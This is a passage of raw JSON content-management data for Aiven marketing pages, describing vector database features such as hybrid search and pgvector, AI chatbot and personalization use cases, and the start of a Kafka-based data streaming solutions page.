results."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bb07f076f896","_type":"table"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"twoColumn"}],"id":"hybrid-search-queries","imageHeight":35,"title":"Hybrid Search Queries"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"d29a2c49d4d8","_type":"block","children":[{"_key":"d01a36e65d140","_type":"span","marks":[],"text":"Standalone vector similarity search can be limited by its imprecise nature, especially when dealing with regulated or sensitive data. Utilize hybrid search, which searches on both vector and non-vector data, on multi-model databases to address these challenges. By applying filters that narrow down the search scope, you can ensure more precise and secure results. "}],"markDefs":[],"style":"normal"}],"title":"Enhance your vector search accuracy with hybrid search","topOverlap":false,"variant":"button-toggle"},{"_key":"7b78f43b4759","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"eed2f93f27dd","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-dcd797db26f52e8946444e6b49386a29a1c2a800-24x24-svg","_type":"reference"}},"title":"Retrieval-Augmented Generation (RAG)"},{"_key":"9db2f8dbfdc5","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b14a1b33a59a9da215f9d5efd99fbd54feef468b-24x24-svg","_type":"reference"}},"title":"Image Similarity Search"},{"_key":"bc733f6a92e8","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-216087e3f84e46bc6fec1379d984299ce66186a1-24x24-svg","_type":"reference"}},"title":"Recommendation Engine Optimization"},{"_key":"6eb13ccd1e07","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-844efd30eb9dc3a1dccf0ff9c6dfbc9170530378-24x24-svg","_type":"reference"}},"title":"Tailored Customer Experiences"},{"_key":"c4756fdf7111","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-248c6be81a60499ba8b9775c91fc44033ebee594-24x24-svg","_type":"reference"}},"title":"Smart Search Engines"},{"_key":"300a0f2e3572","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-737bd7e4e936b7e85603baaa175c1c2771e9de0c-24x24-svg","_type":"reference"}},"title":"Anomaly detection"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"687f96f15550","_type":"block","children":[{"_key":"4e13a32f813f0","_type":"span","marks":[],"text":"Vector search is revolutionizing how we interact with data. By leveraging the power of embeddings and hybrid search, unlock new possibilities for applications across various industries and solve complex challenges. "}],"markDefs":[],"style":"normal"}],"title":"Vector search in action","topOverlap":false},{"_key":"hsv8jbtjy9qr45rcnm4kt85n3hs5p9ss","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"730fe23449c3","_ref":"168fd4e3-223d-4475-bedb-b07ae2bdbb69","_type":"devArticle"},{"_key":"c0756fcecfff","_ref":"99e530bc-a7ca-46f6-8600-3ac3f82681f4","_type":"devArticle"},{"_key":"3d84bd47d684","_ref":"a34b0b22-60ab-471c-b0a2-9704d9139e02","_type":"devArticle"},{"_key":"f8f2049bb70a","_ref":"3819159e-9c6a-402b-9ca7-48f82efcedaa","_type":"devArticle"},{"_key":"61cca906ad73","_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"devArticle"},{"_key":"3a1c4147ea25","_ref":"6646ab5c-9136-4d83-9a32-fe50393d3d28","_type":"reference"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"You may also be interested in","topOverlap":false},{"_key":"872b2fd734db","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"items":[{"_key":"465fd4d1429b","_type":"tabItem","content":[{"_key":"6d204f1d19c9","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-14b1c2657819ea9fb9024f25421be42bb47d6641-906x1198-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"bb81910d677b","_type":"block","children":[{"_key":"a73829cd129d","_type":"span","marks":[],"text":"Integrate real-time data with AI"}],"markDefs":[],"style":"h4"},{"_key":"b2fa1b12b76d","_type":"block","children":[{"_key":"cf4a35b80dc70","_type":"span","marks":["strong"],"text":"Enhanced Customer Experience: "},{"_key":"7841095b9451","_type":"span","marks":[],"text":"Enhance customer experiences and boost sales through personalized product recommendations, dynamic pricing, and targeted promotions. "}],"markDefs":[],"style":"normal"},{"_key":"e55b655d9cfd","_type":"block","children":[{"_key":"373f7db103d60","_type":"span","marks":["strong"],"text":"Improved Operational Efficiency: "},{"_key":"a3d6a7400e37","_type":"span","marks":[],"text":"Optimize supply chains through AI-powered demand forecasting, ensure efficient inventory management and reduce waste, and streamline store operations through better resource allocation for cost reduction."}],"markDefs":[],"style":"normal"},{"_key":"13c924d1527b","_type":"block","children":[{"_key":"bbf3d419a4cb0","_type":"span","marks":["strong"],"text":"Increased Sales and Revenue:"},{"_key":"9d091f22cdfe","_type":"span","marks":[],"text":" Identify emerging trends and build targeted marketing campaigns for higher conversion rates and increase repeat purchases."}],"markDefs":[],"style":"normal"},{"_key":"62f883030ebd","_type":"block","children":[{"_key":"2091cf2a0fd5","_type":"span","marks":[],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"7be83e2fd2a9","_type":"block","children":[{"_key":"579e643d9219","_type":"span","marks":[],"text":"Perform real-time ML inference on your Kafka stream. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ebae47b1afd2","_type":"block","children":[{"_key":"55b1f9a80d62","_type":"span","marks":[],"text":"Join data from external and internal sources while removing sensitive information to get a holistic view of your business"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6e7a290c3e71","_type":"block","children":[{"_key":"e6191be0a6a4","_type":"span","marks":[],"text":"Provide a layer of abstraction between data sources and the AI serving layer without changing the underlying data structure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a3597648fd27","_type":"block","children":[{"_key":"b9b01548f7b7","_type":"span","marks":["strong"],"text":"Learn more:"}],"markDefs":[],"style":"h6"},{"_key":"ceda5bf4f6e7","_type":"block","children":[{"_key":"48c525ea52e0","_type":"span","marks":["75fbe2524e26"],"text":"Consistent CDC with Apache Kafka, Debezium, and the outbox pattern"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"75fbe2524e26","_type":"internalLink","internalLink":{"_ref":"1c9dd13c-41ec-4b0c-9d04-c47d0579291b","_type":"reference"}}],"style":"normal"},{"_key":"a293045ddd2c","_type":"block","children":[{"_key":"e5c6e12c3884","_type":"span","marks":["e837b42bade4"],"text":"Move from batch to streaming with Apache Kafka and Apache Flink"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e837b42bade4","_type":"internalLink","internalLink":{"_ref":"5ee6de8e-7637-4e70-a253-b3bd1e7d220f","_type":"reference"}}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"ai-streaming","imageHeight":35,"title":"Real-time AI"},{"_key":"e04d3723463343add5ed601f85bdf8e1","_type":"tabItem","content":[{"_key":"d799a757a27b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-0bd9edddfc7930433789167d847bfead220a71f9-1659x1396-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"lg","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"d887c3cce693","_type":"block","children":[{"_key":"46435abb3bae0","_type":"span","marks":[],"text":"Build a delightful search experience"}],"markDefs":[],"style":"h4"},{"_key":"89d7885a65e8","_type":"block","children":[{"_key":"92b494fbde3f0","_type":"span","marks":["strong"],"text":"Personalization"},{"_key":"92b494fbde3f1","_type":"span","marks":[],"text":": Leverage user behavior and preferences to deliver personalized product recommendations."}],"markDefs":[],"style":"normal"},{"_key":"70cbd0b8425a","_type":"block","children":[{"_key":"00e407afc95a0","_type":"span","marks":["strong"],"text":"Enhanced User Engagement"},{"_key":"00e407afc95a1","_type":"span","marks":[],"text":": Engage users on your site longer and encourage repeat visits with a more effective search function."}],"markDefs":[],"style":"normal"},{"_key":"64840cc44886","_type":"block","children":[{"_key":"7b467312e3020","_type":"span","marks":["strong"],"text":"Handling Large Catalogs"},{"_key":"7b467312e3021","_type":"span","marks":[],"text":": Efficiently handle large and diverse product catalogs, making it easier for customers to find specific items even in extensive inventories."}],"markDefs":[],"style":"normal"},{"_key":"cc8dfa1e5c9a","_type":"block","children":[{"_key":"98d458ccc321","_type":"span","marks":["strong"],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"3ee938bcc9ad","_type":"block","children":[{"_key":"0345dcddc708","_type":"span","marks":[],"text":"Augment product catalogs on Aiven for Postgres with AI-driven search capabilities through pgvector."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9f65b62e631e","_type":"block","children":[{"_key":"9f9fff4ab04a","_type":"span","marks":["strong"],"text":"Learn more: "}],"markDefs":[],"style":"h6"},{"_key":"280370dc4df9","_type":"block","children":[{"_key":"1d5351359bf5","_type":"span","marks":["78a3c587156d"],"text":"When text meets image: a guide to OpenSearch® for multimodal search"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"78a3c587156d","_type":"internalLink","internalLink":{"_ref":"3819159e-9c6a-402b-9ca7-48f82efcedaa","_type":"reference"}}],"style":"normal"},{"_key":"fe7fa825f9a5","_type":"block","children":[{"_key":"1f21eecfcc54","_type":"span","marks":["bc9e37b4e41b"],"text":"Image recognition with Python, OpenCV, OpenAI CLIP and pgvector"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bc9e37b4e41b","_type":"internalLink","internalLink":{"_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"reference"}}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"search","imageHeight":35,"title":"AI enabled product search"},{"_key":"3e974aa4b93cea667d5bd8c656a6ffc0","_type":"tabItem","content":[{"_key":"d799a757a27b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d343a0f04aea8a62bb2aef0f7d7013e86cb12532-1616x1394-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"lg","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"d3a3a36c0bd9","_type":"block","children":[{"_key":"b532a756d00b0","_type":"span","marks":[],"text":"Chatbots trained on your enterprise data"}],"markDefs":[],"style":"h4"},{"_key":"c3faf29543cb","_type":"block","children":[{"_key":"2a9fd7cd1842","_type":"span","marks":["strong"],"text":"Handle Routine Inquiries:"},{"_key":"48a02c8381cc","_type":"span","marks":[],"text":" Free up human agents to deal with more complex issues by handling routine and repetitive questions. "}],"markDefs":[],"style":"normal"},{"_key":"7e8a92926c78","_type":"block","children":[{"_key":"fed9cdc7232d","_type":"span","marks":["strong"],"text":"Scale:"},{"_key":"01b8ff3e8d51","_type":"span","marks":[],"text":" Easily handle large volume of customer inquiries simultaneously during peak times without compromising on response time or quality."}],"markDefs":[],"style":"normal"},{"_key":"b6305720cb6b","_type":"block","children":[{"_key":"f8acd7cfc82e","_type":"span","marks":["strong"],"text":"Lower Operational Costs: "},{"_key":"10c5d85de1f3","_type":"span","marks":[],"text":"Augment existing customer service experience through AI powered customer service agents."}],"markDefs":[],"style":"normal"},{"_key":"6fc804b90fbb","_type":"block","children":[{"_key":"2d5bb88d5c24","_type":"span","marks":["strong"],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"b643a42ff2f2","_type":"block","children":[{"_key":"641f3d388000","_type":"span","marks":[],"text":"Build data pipelines on Aiven for Apache Kafka to upload your enterprise data into Aiven vector databases "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0848094bc13d","_type":"block","children":[{"_key":"a00a9951788b","_type":"span","marks":[],"text":"Create GenAI customer agents that integrate your data with your preferred AI model "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"chatbot","imageHeight":35,"title":"Customer Service Agent"},{"_key":"e20a1af9d483","_type":"tabItem","content":[{"_key":"7209509ca88c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-fda167cb0adc3dfbc03deffe1874ceb260d41113-1646x1396-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"lg","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"3c5dac0ae2cb","_type":"block","children":[{"_key":"81ce0a99447d0","_type":"span","marks":[],"text":"Personalize your customer outreach"}],"markDefs":[],"style":"h4"},{"_key":"54de5d87665a","_type":"block","children":[{"_key":"6edcfd5620da0","_type":"span","marks":["strong"],"text":"Improved Click-Through Rates"},{"_key":"6edcfd5620da1","_type":"span","marks":[],"text":": Customized outreach that resonates with your customers’ interests increases customer engagement and satisfaction."}],"markDefs":[],"style":"normal"},{"_key":"b2a119d241a7","_type":"block","children":[{"_key":"5a862edd1ad50","_type":"span","marks":["strong"],"text":"Scale"},{"_key":"5a862edd1ad51","_type":"span","marks":[],"text":": Effectively scale AI marketing campaigns across your entire customer base making it feasible to maintain personalized communication with everyone."}],"markDefs":[],"style":"normal"},{"_key":"5443a8cbeb22","_type":"block","children":[{"_key":"bb8101944cb60","_type":"span","marks":["strong"],"text":"Cross-Selling and Upselling"},{"_key":"bb8101944cb61","_type":"span","marks":[],"text":": Identify opportunities for cross-selling and upselling based on customer preferences and past purchases for AI marketing campaigns."}],"markDefs":[],"style":"normal"},{"_key":"ebb877025cd4","_type":"block","children":[{"_key":"9bee7526a3d7","_type":"span","marks":[],"text":"How?"}],"markDefs":[],"style":"h6"},{"_key":"c165d3f32df8","_type":"block","children":[{"_key":"71b35298fded0","_type":"span","marks":[],"text":"Build real-time clickstream ingestion pipelines with Aiven for Apache Kafka to collect user behavior on your website"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7aad6afe7fe1","_type":"block","children":[{"_key":"509c24345abe0","_type":"span","marks":[],"text":"Build email generation pipelines leveraging real-time and historical data stored across Aiven databases to send personalized messages to your customers"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8388931b2b6c","_type":"block","children":[{"_key":"0c94e45a7d7f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"comms","imageHeight":35,"title":"Customized Communications"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","title":"How does it all work together","topOverlap":false,"variant":"button-toggle"},{"_key":"8vyyy1lunmhuh4e6jvvbjudx5a241wft","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Free 30-day trial"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"subtitle":[{"_key":"fcb750582e91","_type":"block","children":[{"_key":"58875801f75a0","_type":"span","marks":[],"text":"Ready to harness the power of vector databases without the hassle of a migration? Leverage the familiar tools you already use on Aiven to accelerate your AI projects. Experiment with our platform today and discover the potential of your existing databases."}],"markDefs":[],"style":"normal"}],"title":"Enrich AI with vector databases","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"With Aiven, leverage the vector capabilities of the most popular open source databases to enrich your AI queries with more accurate context.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a634e52295bebf98653561d6c6683c5de4272c49-1200x630-png","_type":"reference"}},"metaTitle":"Aiven Vector Database Solutions | Find out more"},"slug":{"_type":"slug","current":"/solutions/aiven-for-vector-databases"},"title":"Aiven for Vector Databases"} {"__i18n_lang":"en","_createdAt":"2022-07-20T13:59:23Z","_id":"f820e157-d994-42a0-8492-e7ca6a5d655c","_rev":"eaCZ7mIhmiYZX5KGqSlzvj","_type":"solution","_updatedAt":"2024-09-09T14:07:19Z","content":[{"_key":"zndnexqjoubjoaexn4dzr4yl7f5eez6m","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center bottom","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Aiven for Streaming","parentPage":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"}},"darkTheme":true,"disabled":false,"fullWidth":false,"headline":[{"_key":"u0huz2hdo91mo35903vkre3p26qeshhf","_type":"block","children":[{"_key":"9rgu9im5dpeuq9o2hml71apv2jzltyrn","_type":"span","marks":[],"text":"Real Time with Aiven's "},{"_key":"1bbdbb4bd728","_type":"span","marks":["color-primary"],"text":"Data Streaming Solutions"}],"markDefs":[],"style":"h1"},{"_key":"876dce66a781","_type":"block","children":[{"_key":"1258e3794a17","_type":"span","marks":[],"text":"Stream, store, and serve data to your applications in real time with Aiven's fully open-source streaming platform."}],"markDefs":[],"style":"normal"}],"heroHasVideo":false,"imageSize":"large","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-b","title":"Become Real Time with Aiven's Data Streaming Solutions","titleMultiColor":true,"variant":"compact","ytId":"LTmREm3BchY"},{"_key":"18f3da26e9cc","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"1266a721e0be","_ref":"072fbfe2-007b-47a3-b574-d4cc8be52fdb","_type":"ebook"}],"itemsPerRow":1,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":true},{"_key":"664b09d774e4","_type":"textImage","disabled":false,"image":{"_type":"mainImage","asset":{"_ref":"image-111faeb97df312324c822a3f921a24ee62bf80fd-1786x1084-png","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"text":[{"_key":"af7fab1d21b7","_type":"block","children":[{"_key":"b907fba24392","_type":"span","marks":[],"text":"In today's fast-paced world, you need to be "},{"_key":"5917a391de0c","_type":"span","marks":["strong","em"],"text":"real-time data-driven"},{"_key":"41e329bd234e","_type":"span","marks":[],"text":" to satisfy customer expectations and stay ahead of competition. Streaming data is a huge benefit for time-critical decisions. Some examples include:"}],"markDefs":[],"style":"normal"},{"_key":"872eb677a40a","_type":"block","children":[{"_key":"ac2631cb95ff0","_type":"span","marks":[],"text":"Real-time marketing personalization and recommendations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"db9930dcb73d","_type":"block","children":[{"_key":"050ff7c0507e0","_type":"span","marks":[],"text":"Streaming data into analytics applications for instant analysis"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a7ad3f276c9d","_type":"block","children":[{"_key":"7fa5028cec590","_type":"span","marks":[],"text":"Real-time messaging system to trigger immediate actions by decoupled microservices like credit card validation and inventory checks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a796300b621c","_type":"block","children":[{"_key":"1f831f1f79160","_type":"span","marks":[],"text":"Capturing IoT sensor data in real-time and sending alerts when certain thresholds are exceeded"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f68177311287","_type":"block","children":[{"_key":"c65dcf501140","_type":"span","marks":["strong"],"text":"Case study: "},{"_key":"eacd2c46dd9e","_type":"span","marks":["862fe80a3a04"],"text":"Best deal for Priceline"},{"_key":"16995d1e1827","_type":"span","marks":[],"text":": Serving a much wider range of customers at higher speeds"}],"markDefs":[{"_key":"862fe80a3a04","_type":"internalLink","internalLink":{"_ref":"b579529f-90cc-41c9-bb29-9db492937885","_type":"reference"}}],"style":"normal"}],"title":"The Need for Speed","variant":"mediaLeft"},{"_key":"tcs196z6566e61blkvl1epmutnxqirr2","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"cvtdp991xlmo6gqqwehav9hnrkm38t5z","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"d77c079e736f","_type":"block","children":[{"_key":"f33c5a1ffad40","_type":"span","marks":[],"text":"Eliminate dependencies on proprietary solutions and skills with a fully open-source streaming ecosystem supported by Aiven's committer-driven expertise."}],"markDefs":[],"style":"normal"}],"title":"Open Source","variant":"icon-card"},{"_key":"tp60j8vqicmz1y0zk66hrf31k8ie6vnu","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"v4csol95uvk613ezgjpq4udl0a1tntey","_type":"block","children":[{"_key":"y7js35x4tgldne7rz5xyyeear0s4y1ev","_type":"span","marks":[],"text":"Reduce your technical skills burden with one, consistent streaming technology across multiple cloud providers. Deploy once, use anywhere."}],"markDefs":[],"style":"normal"}],"title":"Deploy to any cloud","variant":"icon-card"},{"_key":"47fi02g7ggvuig90cbmne5e9ch63x0s7","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"bpv0vge4jibds46xsrsa1w2zlo6lrjk4","_type":"block","children":[{"_key":"s9sewhz4xxmyf2zvbbyft1oaiqdyypi7","_type":"span","marks":[],"text":"Make faster human decisions with a continuous stream of fresh data. Automatically trigger machine-based actions based on real-time event data."}],"markDefs":[],"style":"normal"}],"title":"Go Real Time","variant":"icon-card"},{"_key":"tfz6tmlxy4eve4i7l49bjh191lb12i0c","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"aabwdprjx2r6ye9uxspe6ep3tr8qdart","_type":"block","children":[{"_key":"e2e5e2a523e1","_type":"span","marks":[],"text":"Fully self-driving streaming platform with automatic provisioning, cluster expansion, storage and capacity management, monitoring, upgrades, and security patches.\n"}],"markDefs":[],"style":"normal"}],"title":"Automated platform","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/aiven-platform-one-pager","title":"Download Aiven Platform one pager"},"roundedCorners":"rounded-tl","subtitle":[{"_key":"o07srllttvcods1cfv4y67ffp9eh8scy","_type":"block","children":[{"_key":"6u48pi7gqz7g5adcq8q6m5a91ekini1z","_type":"span","marks":[],"text":"Become a real-time, data-driven organization with a fully open-source streaming platform. Let Aiven manage your streaming infrastructure so you can focus on innovation and accelerating business outcomes."}],"markDefs":[],"style":"normal"}],"title":"Why Aiven? ","topOverlap":false},{"_key":"c61hbpypc34kajqjmqt6s5ycgbj8c8iw","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"id":"benefit","items":[{"_key":"qo1ih985852ql1r6tym9iv2c5x4dd54y","_type":"tabItem","content":[{"_key":"svmd4szdq49jqbs9qdqryu8ycd53yoro","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-818eb2dad5eb6d37cba3d97df6d84950b52acc76-1696x1394-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","narrowImage":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"458aa4d0efce","_type":"block","children":[{"_key":"812e2db495360","_type":"span","marks":[],"text":"Build systems that react in real time"}],"markDefs":[],"style":"h3"},{"_key":"2686c880bec4","_type":"block","children":[{"_key":"4de8190f58a80","_type":"span","marks":["strong"],"text":"Microservices and Decoupled Systems: "},{"_key":"25c27e05c5e6","_type":"span","marks":[],"text":"Improve system flexibility, maintainability, and resilience with independent, decoupled systems"}],"markDefs":[],"style":"normal"},{"_key":"b104ac096636","_type":"block","children":[{"_key":"9809c4984b2f0","_type":"span","marks":["strong"],"text":"Customer Experience Personalization:"},{"_key":"0f9654ef9a2c","_type":"span","marks":[],"text":" Capture, process, and respond to customer interactions in real time"}],"markDefs":[],"style":"normal"},{"_key":"d8bf42438d4b","_type":"block","children":[{"_key":"591dd3408fc00","_type":"span","marks":["strong"],"text":"Real-time Analytics and Monitoring:"},{"_key":"d2a501c3f39b","_type":"span","marks":[],"text":" Capture and analyze data as it happens to take immediate action"}],"markDefs":[],"style":"normal"},{"_key":"6a57748a6709","_type":"block","children":[{"_key":"59ae2b21ab53","_type":"span","marks":["strong"],"text":"How?"}],"markDefs":[],"style":"normal"},{"_key":"d59a98762608","_type":"block","children":[{"_key":"48d693b110450","_type":"span","marks":[],"text":"Seamlessly integrate with virtually any data source or destination"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3ba1a4696136","_type":"block","children":[{"_key":"4c9acbbc0e3f","_type":"span","marks":[],"text":"Move massive amounts of data with ultra-low latency"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"84bb6380da6d","_type":"block","children":[{"_key":"42fb625794bd","_type":"span","marks":[],"text":"Deliver real-time data to microservices, analytics tools, and applications, ensuring they have access to the freshest information"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cea090372f5c","_type":"block","children":[{"_key":"6f7ec358855e0","_type":"span","marks":["strong"],"text":"Learn more:"}],"markDefs":[],"style":"normal"},{"_key":"d03c0653a782","_type":"block","children":[{"_key":"5a027adfc67e","_type":"span","marks":[],"text":"Blog: "},{"_key":"3a76f24c9df20","_type":"span","marks":["5ad1d3af3a28"],"text":"Beyond event streaming"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5ad1d3af3a28","_type":"internalLink","internalLink":{"_ref":"a90eb4e8-6d45-4c1b-b767-22d99d8beefc","_type":"reference"}}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"event-driven-architecture","imageHeight":35,"title":"Event-driven architecture"},{"_key":"tqluokge8lycak74elguni0qdmukyx94","_type":"tabItem","content":[{"_key":"zrykw9m9x9u6xpgyrxlqea2gza6c61xo","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-df62a7e4ead5f03dfaec9c8b07f1096bb32c0330-1616x1506-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"a0ooj1rfoznq85nda9ctncu61epcs0zy","_type":"block","children":[{"_key":"h5nv9t9eb7qpmgsm1fk5jd4oz05649ew","_type":"span","marks":[],"text":"Real-time Data; Real-time 